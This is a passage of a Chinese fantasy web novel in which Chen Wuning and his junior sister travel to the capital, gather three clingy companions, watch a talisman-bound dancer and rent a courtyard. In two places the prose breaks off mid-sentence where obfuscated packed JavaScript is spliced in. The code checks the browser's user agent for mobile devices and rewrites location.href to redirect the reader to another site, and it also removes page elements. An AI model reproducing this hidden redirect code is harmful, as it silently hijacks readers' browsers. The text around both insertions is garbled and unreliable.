天光大亮,陈无宁从后院小门走出陈宅,领着乌雪泥去寻吃食。 阔别五年之久,小小孩童已长成半大少年,见识过高山大川、生灵万物后,早不是当年那副拒人千里的冷漠皮相了。 镇上曾因陈宅引发的风雨,在柴米油盐覆盖下落了厚厚的灰,此时此刻,哪怕他大摇大摆地走在街上,也无人认得了。 带小师妹吃饱喝足后,陈无宁在镇上闲逛起来。 路过一间茶铺时,卖茶人叫住了他。 “小公子,留步。” 他看了一眼喊住自己的茶摊主人,竟是个同岁模样的少年。 少年没有束冠,流云似的发拢在身后,用一根枯草藤随意扎着,在阳光下显出别样的棕色。他眼窝微陷,唇薄肤白,隐隐能见下面流淌的细小血管。他穿着一身麻色,简雅朴素,却透着一股子清傲劲。 陈无宁心想:这模样,哪像是个生意人? 茶铺开在街边,没用常见的油布遮阳挡雨,而是由数片硕大的叶子连在一起做成的篷顶,散着一股植物的清洌,却看不出是何种植物。 卖茶少年一双深邃的眼睛肆无忌惮地盯着陈无宁看,手里的茶杯溢出一股别样的香,攸地弥散开来。 陈无宁不知中了什么邪,竟依从了少年的话:“好,来两碗。” 他屁股刚落座,就看见旁边桌上还有一位年纪相仿的小公子,小公子很挂相,一直气鼓鼓的,拿双眼剜肉片似的盯着卖茶少年,满脸都写满了不爽。 陈无宁惊觉气氛不对,从刚才的迷失里清醒过来,似笑非笑地观赏着眼前好戏。 灶炉上的水开了,卖茶少年拿出两盏杯,用干净白布沿着杯口细细擦了三圈,他才心满意足地放开,慢条斯理地斟起茶来。 “倒挺讲究的。”陈无宁暗想,“只是生意不怎样啊?” 他这才注意到旁边支棱的树杆上贴着告示:茶水一两一碗。 陈无宁生出一种“这哪是做生意,分明是在抢钱”的感觉,可这感觉却被端上来的茶色冲得一干二净——他也是殷实家庭出生的孩子,后来还进了一个有满箱金条和十八层藏书的门派,算见过世面的。 可眼前的茶实在太特别了,他从没闻过这种味儿。 更没想到的是,少年掌柜竟毫不客气地坐了过来,更不客气地把住了他的手腕! 陈无宁被这突然的举动惊得愣住,手不自觉地一抖,滚烫茶水沿着他的手背流了下来......一时间,他不知道是该先松开杯子,还是该甩了这只放肆的手! 旁边那个穿金戴银还很生气的公子却再是忍不住了,他冲上前来,一巴掌拍在正在较劲的两只手上! 三人异口同声道:“干什么!?” 看戏的乌雪泥似乎也忍不住了,她奶着一口童音,扮成大人指点:“你们急什么?一个个说嘛。” 她顺手一指卖茶少年:“你先说。” 陈无宁给了她一个警告的眼神。 卖茶少年死死盯着陈无宁,开口便问:“你是谁?” 陈无宁相当不悦:“问别人姓甚名谁前,是否先得自我介绍?” 卖茶少年:“我姓宿,宿林。” 陈无宁根本不关心对方是谁,只想赶紧走人:“我有事在身,恕不奉陪。” 但凡识趣一点,听了这话也知道是拒绝的意思,卖茶少年却道:“你的味道我很熟悉。” “......”陈无宁有些无语,“你我素不相识,此话未免可笑!” 旁边被当成空气的生气公子脸都快垮到地上了,乌雪泥更听不下去,小手一指他:“到你说啦!” 生气公子被一个丫头片子指挥了,他却大咧咧没发现,质问宿林:“哥,你为何请他喝茶?为何碰他?他又是谁,我都不认识!” 宿林可没有对待陈无宁那般的耐心,低吼道:“滚。” 生气公子:“就不滚,你的事就是我的事!” 宿林:“滚!” “就不就不!”生气公子耍起无赖,“反正我这辈子赖定你了,休想赶我走!” 这番对话完全超出师兄妹毕生的认知,他俩面色一致地古怪起来,盯着眼前两人,试图理解每一个字的含义。 他俩看着......怎么和话本里那些别扭的怨侣一样? 可没看错啊,这分明是俩男的啊?! 琢磨了一阵,陈无宁觉得面前的茶都不香了,想赶紧带小师妹逃离这是非之地! 宿林却没给他偷溜的机会,转过头,又拉上他的手腕:“你究竟是谁?” 没想到喝个茶也能喝出事,陈无宁不禁牙疼。他见宿林不达目的不罢休的架势,有点怒了:“你究竟要做什么?!” 宿林:“说清楚你是谁。” 陈无宁被他打败,施展起缓兵之计:“在这说可不行!” “走。”宿林干脆果断,茶铺也不要了,打算赤条条地跟他走。 生气公子见宿林要走,一样不管不顾地跟了来...... 陈无宁本就带着一个破丫头,现在又被突然冒出的俩少年赖上,脑仁突突地跳,心想这都什么破事!行至镇关处,他停下了脚步,转头对宿林说:“我,现在、立刻、马上,要离开这里。” 宿林不假思索:“一起走。” 生气公子一口接话:“我也要去!” 陈无宁彻底服气:“既然在钟灵镇,你必然听说过陈宅的事。” 宿林垂下眼眸,似思索了一会儿,问道:“你是陈无宁?” 生气公子一脸懵,他根本听不懂。 “能放我走了吗?!”陈无宁不想继续纠缠,只希望这两人立马滚出他的视线。 宿林又默了片刻,缓声道:“你身上有春风与泥土的味道。” 敢情此人不仅懂茶,还是个诗人? 宿林:“那是百草迸生的芬芳。” 陈无宁被他一脸认真的神情打动了,不禁半信起这鬼话来,抬起袖口闻了又闻——分明还残留着早饭吃的包子味! “你弄错了吧?!” 陈无宁抬起袖口给宿林递去,示意他再闻闻看。 宿林微微皱起眉目:“你竟然不知?” 陈无宁:“……我该知道什么?” 宿林态度坚决:“我与你同行。” 陈无宁硬刚不过,又不好在钟灵镇跟宿林打上一架,只好走起怀柔路线:“宿林,你知道我要去哪儿么?看你不过和我一般大,好好的生意不做, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639403|156348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要干什么呢?再说了,你没家人吗,家里人说不定在等你,快回去!” 他苦口婆心,宿林却丝毫不为所动:“我天生地长,无根无萍,无须挂念凡俗事务。” 陈无宁也曾当自己是一块天生地长的顽石,此时听到眼前少年说出同样的话,心情甚是微妙,不过这人却没有他当年的冷漠倔强——宿林浑身淌着一种平淡清和,仿佛刚才说出这话的人并非是他。 那旁边这位脾气暴躁、还没脑子的小公子又是谁?此人一身锦袍金带,但凡眼睛不瞎,都能看出其富贵逼人。 陈无宁带着疑问看向他,没好气地说:“你该不会也是孤儿吧?!” 生气公子面带嘲讽地“哼”了一声,终于轮到他发挥了,好像生怕谁不知道他有多厉害似的,得意洋洋地讲了一长串:“我爹是子桐派大长老,本人姓庄,庄苼,家中独子,我祖父经营船行钱财万贯,我父亲修行大道法力无边,不过这些事都不稀罕,我嘛,有朝一日一定会功成名就,得道飞升……” 陈无宁心道:这莫不是个傻子吧!!! 他听师父提过,修真界有五大仙门,子桐派便是其中之一,看样子这人也是一个修士了,可哪有修士在凡间这么大喇喇地公布自己来历,非傻子干不出来! 庄修士一通猛炫,终于还是回到最初的起点:“谁管你是哪个?警告你哦,别想着跟我抢宿林哥,你八辈子也赢不了我,他是我的!” 陈无宁:“……” 场面一度沉默。 本就萍水相逢,陈无宁管天管地,也管不着人家走哪条道,撵不走他们,只好就地发挥起装聋作哑的本事,彻底不理睬了。 他和乌雪泥走在前面,宿林离得不远,跟在后面。 庄笙最是吵闹,仿佛不知道“礼义廉耻”四个大字怎么写,他没完没了地纠缠宿林,前言不搭后语地说话,将一片痴心舞成了狗屁不通,听得陈无宁掉了一路的鸡皮疙瘩。 乌雪泥毕竟还小,对世界充满好奇:“师兄,那两人在做什么?” 陈无宁面不改色:“大概是在吵架?” 乌雪泥火眼金睛:“一个人能吵架吗?有个哥哥一句话都没说的!” “闭嘴吧你!”陈无宁头疼得厉害,难不成说他俩在打情骂俏?! 走了不到半日,乌雪泥好奇累了,陈无宁无可奈何地背上她。庄苼似乎也走不动了,在后方扭扭捏捏地撒娇:“哥,我们坐马车嘛,我腿都要走断了。” “滚。”宿林言简意赅。 庄苼:“你不要对人家这么凶嘛,从小到大都没人敢凶我!” 宿林不得不换了说辞:“请你离开。” 庄苼耍起无赖:“不坐车就不坐嘛,真是的,反正你干嘛,我就干嘛,你去哪儿,我也去哪儿!” 宿林看上去简直想打死他,陈无宁也正有此意! 好好的游历,两人行变成了四人行,陈无宁只好将后面俩人当成解闷的乐子,一路消遣消乏。 天色将晚,一行人总算赶到驿站,陈无宁要了一间房,点了些吃食送进屋内。 乌雪泥吃饱喝足之后就睡了,搅和了一天,陈无宁也累得不行,倒在旁边小榻上,不多时就沉沉地睡去。 他又做奇奇怪怪的梦了。 梦里,刚认识的宿林身形迅速缩小,变成了和刚捡到的乌雪泥那般小,被包裹在一个透明泡泡里。他眼睛本是闭着的,看上去很沉静。 陈无宁不自觉地抬起了手,去戳那个泡泡,小宿林却突然睁开了眼,脸上完全没有婴儿那样的稚气,眸深似海! 他不错眼地盯着陈无宁,像是要看穿陈无宁骨子里埋藏的一切! 陈无宁蓦地惊醒,心脏狂跳,愣了好一会儿才发现天光已大亮,反应过后,才知道原来只是一个梦。 小二拿了毛巾和热水上楼,他接过来,收拾了一番便下楼用早。 宿林和庄笙已经在楼下坐着了,陈无宁只当没看见他俩,随便果腹后,在客栈买了一匹马,打算继续赶路。 他的目的地是安城,安城乃是当朝皇城,皇帝老儿住在那里。 听说安城有当今在世最好的铸剑师傅,还有遍地满腹经纶的大才,反正无处可去,开开眼界也是好的。 庄笙见宿林打定主意要跟着那个讨厌鬼,一边生气,一边照葫芦画瓢地买了马,心里暗暗打着和心爱的哥哥浪迹天涯的风流小算盘。 宿林没给他面子,这黑心商人从怀里一掏,给小二指了那匹最便宜的棕马,便上前牵去。 棕马的两只前蹄一阵乱蹿,搅得整个马厩人仰马翻。 宿林走近,拉下它的缰绳,摸着马头不知嘀咕了什么,野马当即温顺起来,像是得到了某种救赎...... 陈无宁没忍住腹诽:敢情这人不仅懂茶,又会写诗,难道还能驯兽?! 7. 下山2 有了马兄加持,去安城的路松快许多。 乌雪泥虽然年纪小,却很会看人眼色,加上一起长大的默契,并没让陈无宁操心太多。 出乎意料的是,宿林竟是一个极省事的人,只在初识时话多了些,一路十分安静。但他的视线不仅没离开过陈无宁,更带着十二分深意,妄图在陈无宁身上找到“芬芳”的铁证。 还有另一道沉甸甸的视线也盯着他,似乎恨不得将他五马分尸。 两人的目光如有实质,把陈无宁盯得毛焦火辣,只好驾着马急速奔跑,来个眼不见为净。 可庄笙这人太爱折腾,隔三岔五总搞出些笑掉大牙的事。 去安城走官道得爬过一个小山丘,路道窄小,迎面遇见了貌似有头有脸的一队人,主座马车的前后左右站满了武将家仆,几乎塞满整个官道。 陈无宁和宿林不想与人起冲突,停至路边主动退避。 庄笙不干,胆敢有人挑战他的纨绔,偏就不让行,双方僵持不下。 马车车帘掀起,走出来一个官家小姐打扮的小姑娘,不过这姑娘也没什么教养,她和庄笙一人站在马车上,一人骑在马上,不管不顾地对峙起来。 双方先是将自家多么有钱有势事无巨细地各报一遍,见谁也比不下谁,可能都没听懂对方是什么来头,又对骂起来,架势与泼妇骂街殊无二致,口水都快吵干了也没分出高下。 这事奔着没完没了的方向去了,宿林冷冷发了话,庄笙这才不情不愿地让开,末了还冲已经过去的大马车补充道:“嘿,小杂毛丫头,长得丑不说,性格还这么差,小心一辈子嫁不出去!” 小姑娘打赢这仗本就得意,听见这么一句,脸都气绿了,撩开侧帘又骂回去:“你这讨厌鬼烦人精,装什么大尾巴狼,瞎了眼也不会有人看上你,你等着做一辈子光棍吧,晦气,我呸!” 庄苼捏紧了拳头:“死丫头,你别逼我破戒,我不打女的,更不打小孩!” “恶臭男!臭狗屎!”小姑娘扬起高傲的下巴,眉飞色舞地回怼,“你就是一坨污染环境的臭狗屎,有本事来打我呀!” 庄苼:“你!” 宿林:“走!” 陈无宁:“......” 乌雪泥:“小杂毛......臭狗屎......大尾巴狼......恶......” “闭嘴!”陈无宁捂上她的嘴,咬牙道,“你再敢学一句?!” 一路上,庄苼不遗余力地表演独角戏,倒消减了一部分赶路的无聊,走了半月,几人终于到达安城。 城门外,抬眼望去,只见气势磅礴的城墙上驾着无数弓箭,守城将士的眼睛都不带眨的,仿佛试图找出任何不安的迹象,将之扼杀于摇篮。下方,两列士兵整齐列队,守在城门口,对进城者逐一盘查。 他几个依次下马,接受例行搜查和问询,除了庄笙的那身锦袖罗裳搜得太久,耽搁了一会儿,终于顺利地进了城。 与杂乱无序、房舍低矮的地方小镇不同,皇城气质果真非同一般,沿主道两侧皆是两层以上的楼房,行人攒动,衣裳服饰都很精致。 天子脚下,一派安然之景。 乌雪泥这乡野村姑的眼睛都要忙不过来了,滴溜溜地到处乱转,她指向四面八方,不停地问师兄这是什么?那又是什么? 宿林神清淡漠,仿佛周遭与已无关。 陈无宁看了一眼他,竟觉人群林立中,宿林几乎没什么存在感,像漂浮在另一个尘世似的。 庄笙许是对这大世面不屑一顾,眼神粘在宿林身上撕不下来,嘴角就差流哈喇子了...... 他在垂涎间隙搜索到陈无宁投来的目光,又恶狠狠地瞪了回去,变脸之快,不用排练就能去戏班子表演。 行至城内越深,街上的马车渐多起来,这些马车似乎都朝着同一个方向行进。 陈无宁心生好奇,便随同车队一路前行。 走了一时半刻,到了一个宽阔路口,几十驾马车同时停下,从车上走出数位衣着华丽的老爷公子,有认识的互相施礼致意后,纷纷走进一座名叫“赏春楼”的高大宅子。 初上安城,人生地不熟,此时又刚好入夜,陈无宁无事可做,便想着去瞧个新鲜。他四人长相本就出挑,还有庄笙这个一看就很有钱的少爷,门口伙计瞧了一眼,便也放行进去。 进入楼里,与想象中的酒肆不同,先是途经春华秋实的雅致前庭,方才进入正院。 正院分三层,一层摆满桌椅,密密实实,中间有个平整宽敞的表演高台。二层则是独立的敞式雅座环绕一周,是最佳观赏地,看上去都是高门富户端坐其中。三层雕栏画栋,古色生香的房间罗列排布,木头香中夹杂着脂粉气。 陈无宁在一楼角落找了空桌,带乌雪泥坐下。庄笙绝不愿意和他同桌,拉着宿林坐在较远的位置上。 伙计对一楼客人的态度不怎么好,公事公办地上前询问。 陈无宁扫了一眼菜单,贵得他荷包发疼。本着还要在外漂泊一年的节俭原则,点了一壶羊奶,一份糕点,一盘青菜,两碗米饭。 伙计见这人是个穷鬼,毫不掩饰地从鼻子里哼出了声。 陈无宁不跟他计较,点完菜,便观察起周围来。 拜那两个跟屁虫所赐,他这段时间对视线格外敏感,连只苍蝇也别想凿壁偷看。 他喝着免费茶水,将一楼情形大概扫完,正托着下巴思考人生,随意地将视线上移,惊觉一道锐利的目光刺了过来! 楼里人声鼎沸,两道目光狭路相逢! 二楼雅座里,坐着一位白衣少年,看上去同他年纪相仿,气质却相去甚远。 少年着一身高级的雪白袍子,衬得他肤白貌美,飘飘似仙。嵌了银边的广袖散落于桌,手里扇子轻晃,似乎并非为了凉快,而是纯粹的装腔作势。 少年冷着脸迎上陈无宁的审视,带着天生的不可亲近。随后不知怎的,他竟微扬唇角,拾起一抹玩味的笑,眼睛也弯成了两汪月牙潭。 眨眼间变换了两副面孔,上一刻还是只恶狼,下一刻,又变成了一只雪白无辜的大狗。 陈无宁被自我放飞的想象惊呆了! 乌雪泥难得见到师兄愣神,小手在他眼前不停摆动,嘴里“师兄师兄”地碎碎念,试图引起师兄的注意。 陈无宁好一会儿才清醒过来,惊觉自己的行为太过冒失,赶紧收回视线,拂去杂念,端正思想。 这边,二楼的白衣少年收起笑意,被人如此放肆地看了这么久,倒想会一会?他又朝楼下扫了一眼,觉得十分有趣,对旁边站立的黑衣侍从吩咐了几句,侍从领命下楼,往陈无宁坐的地方走来。 侍丛身量娇小,给陈无宁施了一礼,声色轻柔无害:“小公子,我家主人请您上去小坐片刻,不知是否方便?” “不方便。”陈无宁不客气地拒绝。 侍丛没有纠缠,原路返回。 饭菜上来了,陈无宁做贼心虚,只好埋头吃饭,不敢再朝二楼看一眼。 没一会儿,那名黑衣侍从又下来了,用最恭敬的态度说出最让人尴尬的话:“我家主人说,好意思盯着他看那么久,认识一下却不敢了,小公子实在无礼。” 陈无宁心头火起,他有什么不敢的! 他带着乌雪泥上了楼,没经雅座主人同意,径自在对面坐下。 白衣少年笑了笑,对此毫无意见,看见被带上来的小姑娘却很实在,目光粘在一盘霜糖丸子上。 他投其所好,打算以此撬开话匣,于是拂着袖口,将霜糖丸子推了过去,状似随意地问:“小姑娘,你叫什么名字?” 乌雪泥的心眼跟着这口吃食飞走了,将她和师兄兜了个底朝天:“哥哥,我叫乌雪泥,这是我师兄,他叫陈无宁,我俩今天才来这里……” 陈无宁剜了一眼小师妹,又不好在大庭广众下捂她的嘴,打断道:“你又是谁?” 白衣少年笑了笑,陈无宁再不觉得那笑容好看了,反而特别欠揍。只是来都来了,不得不绷紧脸皮,听此人自报家门:“你好,我姓郁,郁夜。” “行,认识了,告辞。”陈无宁起身就走。 郁夜将斟好的茶推过去,悠悠地说:“急什么?我问你,刚才为何盯着我看?” 果然,陈无宁的屁股落了回来,反问他:“不是你先看的我?” 郁夜又露出那副招牌式的欠揍笑,还挑了挑眉:“我才落座,哪来的功夫看你?再说了,你有什么可看的?” 陈无宁气得七窍生烟,脸色当即垮了下来,郁夜见势不妙,立即改了口:“逗你的嘛,别在意。难道......因为本公子长得好,你便盯着我看?” 这话太不要脸了,陈无宁只想洗耳朵,脑子里不知怎的浮出庄笙贱兮兮地纠缠宿林的模样,只觉才下肚的晚饭就要吐了! 这时,一名女子缓缓从半空落在高台上,瞬间吸引了众人视线。 女子身段玲珑,模样俏丽苍白,但上了艳色妆容,看着跟鬼怪妖姬似的。 她身着半透明青纱,目力好点的几乎能透过这层纱,看见里面赤.裸的身子。 陈无宁读过圣贤书,这太不成体统了,他赶紧别开视线,并喝令乌雪泥不准朝那个方向看。 楼下本是满堂话语声,自女子出现,竟诡异地安静了一瞬,随后哄闹声再度四起,好些客人吹着流氓哨,冲台上女子高声叫嚷:“天仙,看这,看我!” 郁夜打量着陈无宁非礼勿视的姿态,没忍住轻笑一声:“哈,怎么,眼里进沙子了?” 陈无宁瞪他。 郁夜:“装什么正人君子,来这里,不就冲着青姬来的吗?” 陈无宁:“……” 原来,皇城勾栏瓦舍遍地,赏春楼算不得顶好那一批。不久前,楼里放出公告,说是寻得一绝世美人,貌比西施舞赛嫦娥,即日起每晚在楼里表演,京城大大小小的贵爷坐不住了,纷纷前来一睹为快,怪不得今日路上的马车都朝这来。 陈无宁听郁夜说了原由,再次将目光转向青姬,发现她手脚腰间系着五根极细的银链。 他目力甚佳,看见银链上竟是刻满了符咒! 符咒一门需要深厚累积,陈无宁现下学得还浅,只能看懂或绘制一些简单的,譬如宁神咒、定身咒等,青姬身上的符咒他一个都不认识,不禁暗自嘀咕:难道凡尘俗世也有仙门掺和进来?这位青姬姑娘到底是谁? 大堂里响起乐声,有歌姬伴着乐声唱起小曲儿,青姬跟着跳舞。 一曲歌舞毕,伙计上台,将她带了下去。 客人没过足瘾,纷纷叫嚣,管事的上来,对台下看客拱手致礼:“青姬姑娘每日于此时进场献艺,喜欢她的看官不妨多多捧场,小的这厢有礼了!” 陈无宁对美人和歌舞不感兴趣,直觉青姬身上的符咒不简单,拉起小师妹,叮嘱道:“走了。” 他站起身,看了郁夜一眼,便转身离开。 郁夜被他的这一眼搅得心神动荡,陈无宁是那种极其标致的眼型,内里仿佛装着一片银河,让人忍不住想一探究竟。 那人生得清瘦,先是胆大包天跟自己对视半天,随即又害羞似的埋头吃饭,本以为是个温柔可爱的小公子,然而派人去请,却碰了钉子,想来竟是一身硬骨头。 郁夜这般想着,收敛起浑身的玩世不恭,手里的扇子有一搭没一搭地敲着桌沿,似乎在憋什么馊主意。 坐在另一桌的宿林同时起身,朝陈无宁离开的方向跟去。 安城的夜很浅,月色隐没在乌云后,人间却不缺这一丝光亮,红灯映照,宛如白昼。 陈无宁找了间普通客栈住下,开始思考今天发生的一切,还没琢磨出凡尘为何会出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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郁夜丝毫不慌:“那你想不想知道青姬身上的符咒是怎么回事?” 陈无宁瞪大了眼:“你是修士?” 郁夜“哈哈”一笑:“你猜?” 此人分明一身官家子弟的味道,陈无宁没想到他竟然是仙门中人,感觉其中有诈,不死心地继续问:“你如何证明?” 郁夜不想露底,他是带着道童从家里偷溜出来的。 他狗啃良心,毫无负担,反正仙门重担有兄长撑着,自己正乐得清闲富贵,顺带修修道,混个长寿之身也不错,若哪天运气来了,没准还能飞升呢。 这要是把来历供出,万一陈无宁这小子是个心狠手黑的,传信给了他父母,这还不得立马把他提溜回去。 郁夜脑子飞转,嘴上避重就轻道:“小道友,你也是修士,我早看出来啦!” 被人三言两语揭穿了老底,陈无宁彻底没了脾气。 此时夜已深,月光晕染在客栈的小方院里,周围安静极了,两人就这样相对而立,谁都不再说话,能听见对方的清浅呼吸。 陈无宁忽然想起半夜吹风的原由,有点尬住了,他再不管眼前的少爷,径直回了房,将近子时才睡过去。 天光迷蒙,陈无宁在敲门声中醒来,他顶着两个浓重黑眼圈,怒气冲冲地打开房门,见郁夜的侍丛立在门口,手里还端着精致茶点。 “小公子醒了?我家主人给你送的早点。” 乌雪泥也被吵醒了,睡眼惺忪地坐在床上,不明所以。 陈无宁立马就要关门。 侍丛恭敬地说:“主人吩咐,小公子若拒绝了,他便亲自来送。” 想起那张讨债脸,陈无宁已经饱了,但为了不看到真人,还是接过了早点,将侍丛一把拍在门外。 简单洗漱后,他认真思考起如何在安城住下这个问题。若再去别的地方,太折腾不说,也不见得能甩掉这些接二连三冒出来的跟屁虫。再说皇城贵地,城防可靠,不管白天夜里都有守卫巡逻,可以保护小师妹。 不过安城物价奇高,若在城内一直住客栈,陈家留给他的财产迟早败光。他想了想,还是到城郊去,找个地方租住下来更为合适。 至于青姬的符咒之谜,反正还有大半年时间,安顿下来再查。 想通这些,他带着乌雪泥偷摸下楼,想趁天色未大亮之前赶紧开溜。 果然,那几个人接二连三地冒了出来,像盯着传家宝一般,片刻都不放松。 陈无宁只好又拿出当这群人不存在的架势,封去五感。 宿林不怎么说话,安静地缀在后边。庄笙满心只有他心爱的哥哥,一路纠缠不休。最让人受不了的是昨晚才认识的郁夜,他才不要在后面跟着,十分“自觉”地走上前来,与陈无宁并肩同行。 他爱穿白衣,仔细一瞧,今天也是一身素白,衣裳却不是昨天那件云锦,换成了层叠的缎袍。 与庄笙那种恨不得把万贯家财都挂在身上的浮夸纨绔不同,郁夜通身彰显出一种高级的审美与修养,与那张叫人一看就忘不了的小白脸衬得万分和谐。 陈无宁不想承认自己为色相所迷,只好变本加厉地恨起他来。 郁夜走了一会儿,才反应过来后头的两人也一直同行,他本以为只是顺一段路而已,没想到都快走出城了,这两人还在。 他神秘兮兮地对陈无宁耳语:“那两人怎么回事?怎么老跟着我们,是不是心怀叵测?” “谁跟你是我们?”陈无宁差点被他气笑。 “你呀,”郁夜理不直,气倒壮,“认识了就是朋友,当然是我们。” 陈无宁:“谁要和你做朋友?” 郁夜:“不管,我认定就行了。这两人到底是谁啊?” 陈无宁微笑:“和你一样,都是没脸没皮的。” 郁少爷终于受了刺激,他乖乖闭了嘴,一把挥开手中折扇,疯狂地扇起风来...... 8. 下山3 安城以东西南北四门为界,皇帝则住在城心帝宫。 因正东门临近东海,城防最为薄弱,朝廷派出重兵把守,往来商贸大多以金银铜铁等贵金属为主,此地鱼龙混杂,冰冷无情,也是安城生活味最淡的地方。 正西门出关,大片良田纤陌纵横,是安城的鱼米之乡,朝廷重臣的宅邸大多座落于此,真正的贵气之地,一步一遇官家人。 正南门则聚集了安城最好的吃喝玩乐,茶馆、勾栏、酒肆遍布大街小巷,数不清的绫罗绸缎、胭脂香粉、古玩器皿扎堆,但凡荷包有恙的,都得绕着南门走。 最不起眼的当属正北门了,北门背靠鲸山,阴冷潮湿,由于高大山脉的阻挡,往来商贸不走这边通行,显出几分冷清的萧索。这边住的大多是没混出名堂来的原住民,家里做些小生意维持生计。 陈无宁在退房前跟掌柜打听好整个安城的布局,坚定地朝着北门出发,行至晌午时分,抵达了北门的城郊附近。 他找到一处门口立了“包先生包打听”字样的店铺,进去问租房事宜。包先生摸着两撇羊角胡,一边挤眉弄眼,一边故作高深地说:“哎呀小兄弟,这就不凑巧了,附近便宜的屋舍早租出去啦。” 陈无宁心说北门竟如此抢手,问道:“请问先生,这是为何?” 包先生上下打量着他们一行:“小兄弟,马上就是科举了,你们几个难道不是进京赶考的学子?我看年纪差不多咧!” 陈无宁盘算了年份日月,现在距离中秋大概月余,正遇三年一次的科举,想来还真是不凑巧。 只是不就租个房,为何还要问东问西? 陈无宁心生好奇,不动声色地撒了个小谎:“嗯,那个,我们是学子。” 包先生一听,笑眯眯地朝天做了个拱手的动作,给他解释:“自当今圣上登基以来,国家风调雨顺,因此恢复了科举制度,也在皇城颁布了一系列政令。几位小兄弟看来不是本地人,或许不知道,这其中一条政令便是——科举期间,整个皇城的房屋,必须优先租赁给考生,若违反此条政令,被人告了,可是要吃官司的。” 他讲完这些,生出一番感叹,“当今圣上宅心仁厚,真乃万民之表率,之景仰……” 听他一通景仰,陈无宁细想他话里的意思,大概有个眉目了:“我们正是进京赴考的学子,路途耽搁,晚到一步,这边没屋舍了,别的地界又租不起,还望先生帮忙想个主意。” 包先生的小眼睛里放出精光,盘算着自家还有处不错的小院,因价格比周边贵出不少,正好空下。 他又打量了这一行人,有两名公子衣着华丽,其他的也个个有模有样,心里便有谱了。 “小兄弟,不如这样罢,周边别的屋舍条件不好,都是家里着实困难的学子一早便定下的。本人还有一处小院,环境还行,但价格方面……嘿嘿,我见各位着实不俗,若不嫌弃的话,可以将这方小院便宜些租给你们。” “有劳先生,”陈无宁拱手道谢,“劳烦说下租金?” 包先生:“短租的话,五两银子一月,每月一缴,三间住房,还附带前院后厨,小兄弟觉得怎样?” 价格在陈无宁能接受的范围内,至于三间住房,乌雪泥如今也大了,不适合再跟自己住一起,一人一间,还能空出一屋,正好当作书房用。 至于那几个烦人精,他早想甩了,管是不可能管的。 陈无宁爽快掏银子,与包先生写好租契,拿了钥匙,便依着指路的方向而去。 走到小院前,他发现那四人还跟着自己,不得已转过身来,冷声道:“房间不够,各位还请另寻他处。” 庄笙看起来正有此意,立即凑到宿林跟前,兴奋地说:“哥,别跟着他了,去城里最贵的地方住,我请客,我有的是钱!” 不出意料,又得了宿林一个“滚”字。 庄笙看起来真要就地打滚,不依不饶地问:“他都说没房间了,跟着干嘛呀?” 宿林抬头,看了陈无宁一眼,淡淡地说:“我不需要房间。” 郁夜如何能甘拜下风,当即接话:“我也不需要房间,我与你住一间就行啦!” 陈无宁满脸阴霾:“谁要和你住一间?!” 郁夜跳起脚来:“你这穷酸,本少爷不嫌弃你便是好的,你还如此挑剔!” 陈无宁很想揍人,又想如果在这里打上一架,怕是会招来官兵审查,实在没这个必要。他压下火气,心想晾着他们就行,到了夜里没地方睡,看他几个怎么办。 他收拾好情绪,推开院门。 包先生还算良心,这方小院属实不错,看得出来经常打理。 走过小前庭,再经过一个弧形洞门,便到了正院。 正院呈合院造型,院中间长着一颗高大的蓝雾树,此时节花期已过,蓝雾随风落叶,给院子染就了一股子清雅,树下有方大石桌。 正院分为左右两个部分,每侧都有两间房。左侧这边,一间是规整的内室,一间是敞开的、接人待客的厅堂。厅堂地方不大,中央只摆了一方矮桌,透过珠帘连着一个风雨连廊,四面透风,呤诗作画用膳皆可。 另一侧是独立的两间内室,墙不挨墙,用花草隔开来,里头十分宽敞。 再往有个小平台,平台接着一条石板小径往后延伸,想必是后厨及浴室了。 陈无宁各处检视一遍后,将最大的那间房留给了乌雪泥,他则要了挨着厅堂的左边户,正好与小师妹的房间隔着小院门对门。 乌雪泥的房间旁边还剩下一间,陈无宁准备熟悉一下环境,过两日再买个书桌放进去,添些文房四宝,将这段时间落下的功课全补回来。 做完这些,他带着乌雪泥出门找吃的。 郁夜和他的小侍从一路跟着,陈无宁也不管,盘算着入了夜,这位少爷就有苦头吃了。 宿林这一路以来,陈无宁就没见他吃过一口东西,他照例被庄笙拉着坐在旁边桌上,只要了一杯热茶,慢慢品着。 多冷清的人啊,想必是不喜欢这摩肩接踵的尘世的,也不知为何非要跟着自己,陈无宁很有些无奈。 鲸山脚下,气候潮湿,东海的风灌过来,被高大山脉拦着,在此盘旋,带起阵阵阴冷。自太阳落山那刻,夜色就会迅速弥漫。 这边不似赏春楼所在的南门那样吵闹,各家各户用过晚饭,不一会儿便熄了灯。 陈无宁给乌雪泥收拾好床铺,打发了她,进了自己的房间,准备歇下。 今天起得太早,他困意汹涌,迷迷糊糊地睡了过去,留着其余四人,在院中面面相觑。 除了宿林这个孤儿以外,郁夜出自仙门世家,庄笙也是富家子弟,虽然平时不太着调,性格作风更是一言难尽,但骨子里的基本教养还是有的。 他们不好在别人家里自作主张,又互相看不顺眼,因此隔得老远,在院子里席地而坐。 已至七月中旬,夏日燥闷在深夜褪得一干二净,细霜浮起,打湿了他们的衣衫。 他几个仿佛比赛似的,看谁能坚持到最后,好让铁石心肠的陈无宁动容收留自己。 宿林的生活方式十分奇特,他不知从哪里摘了几片大姜叶,铺于蓝雾树下,蜷着身子睡着了。庄笙则靠着树杆打盹儿,守在他身边。 庄苼想必从未吃过这种苦头,喜欢谁,就死缠烂打,纠缠到底,陪他说话,陪他行路,忍受他的坏脾气,陪他做任何摸不着头脑的事。 郁夜坐于廊下,抬眼一扫这满院东倒西歪的人,他的道童则尽忠尽职地守在旁边,打着哈欠。 他忽的生出些心酸,发觉自己这两日的所作所为相当可笑。 